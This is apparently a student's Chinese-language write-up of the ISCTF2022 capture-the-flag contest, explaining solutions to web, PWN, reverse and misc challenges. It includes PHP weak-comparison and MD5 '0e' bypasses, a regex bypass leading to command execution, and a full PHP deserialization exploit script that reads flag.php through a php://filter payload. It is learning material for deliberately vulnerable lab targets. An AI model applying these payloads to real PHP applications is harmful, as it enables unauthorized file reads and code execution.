前言
算是本人第一次打的团队赛,战绩还是挺可观的,成功打进了新生赛道前20喜提awd
WEB
EASY-PHP01
打开靶机可以看到以上界面,f12查看页面
get传入hint
阅读源代码可知post传入ISCTF的值要弱等于114514但是不能强等于114514才能得到flag
所以根据php弱类型语言匹配的特性传入114514a得到flag
EASY-PHP02
阅读源代码可知get传参传入任意NAME且传入P0ST1和P0ST2(这里是数字0不是O)使P0ST1的值等于P0ST2 MD5加密后的值得到flag1
且由于0e后面的值会被忽略所以传入
然后使用post传参传入GET1和GET2
这里GET1被过滤了纯数字且要等于0,依旧利用弱类型语言特性传入
然后要求传入一个非纯数字且大于678的GET2,于是传入并得到flag2
其中flag1为十六进制编码,flag2为url编码后base64编码
解码得
FakeWeb
打开靶机发现这个,题目提示这是假页面
于是打开burpsuite进行抓包
看到这里存在一个直接跳转的页面,发到重放器
发包返回304,经过查阅资料,发现If-None-Match
和ETag
是解题关键点
要If-None-Match和ETag的值不相等才会返回一个新的页面,更改If-None-Match的值,然后进行发包
得到flag
simplephp
代码审计得知要get传参传入str与pattern进行匹配,所以传入str
然后要求传入num为36但过滤了36前没用的字符,所以直接使用换页符%0c
最后传入cmd获取flag回显
猫和老鼠(复现)
反序列化引用绕过
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class mouse
{
public $v;
public function __toString()
{
echo "Good. You caught the mouse:";
include($this->v);
}
}
class cat
{
public $a;
public $b;
public $c;
public function __destruct()
{
$this->dog();
$this->b = $this->c; // c影响b,同时会影响a
die($this->a); // 相当于echo,和tostring一起利用
}
public function dog()
{
$this->a = "I'm a vicious dog, Kitty";
}
}
unserialize($_GET["cat"]);
需要注意的是$this->b=$this->c
,给c赋值会影响到b
这里我们可以让$this->a = &$this->b
,调用a的地址,那么die中的语句就会变成$this->c=new mouse()
,即影响到了a
而die($this->a)
相当于echo,可以调用__toString
exp:
<?php
class mouse
{
public $v="php://filter/convert.base64-encode/resource=flag.php";
}
class cat
{
public $a;
public $b;
public $c;
public function __construct()
{
$this->a = &$this->b; //&引用
$this->c = new mouse(); //c->b->a,调用include函数
}
}
echo serialize(new cat());
PWN
nc_pwn
nc直接连接靶机
输入ls命令查看目录得知flag在/flag中
可知cat命令不存在
ls查看bin文件,得知只有以上三个可用指令
使用read和sh得到flag
Reverse
SigninReverse
打开并下载文件
直接拖进ida f5分析得到flag
开摆re
下载文件拖入ida中f5进行分析
分析一下这个代码的意思,若数组num与key异或得到的结果res等于right就会得到激活码
那么编写脚本并运行
输入程序中验证
flag即为这个激活码
MISC
Welcome To ISCTF2022
扫码回复ISCTF2022得到flag
简单社工
如图,由高雄捷运得知地点位于高雄市,且得知捷运的起点站和终点站为小港和冈山及到站时间
查询得知位于高雄地铁红线
查询该铁路线的到站时间可匹配巨蛋站
按照要求进行md5加密即可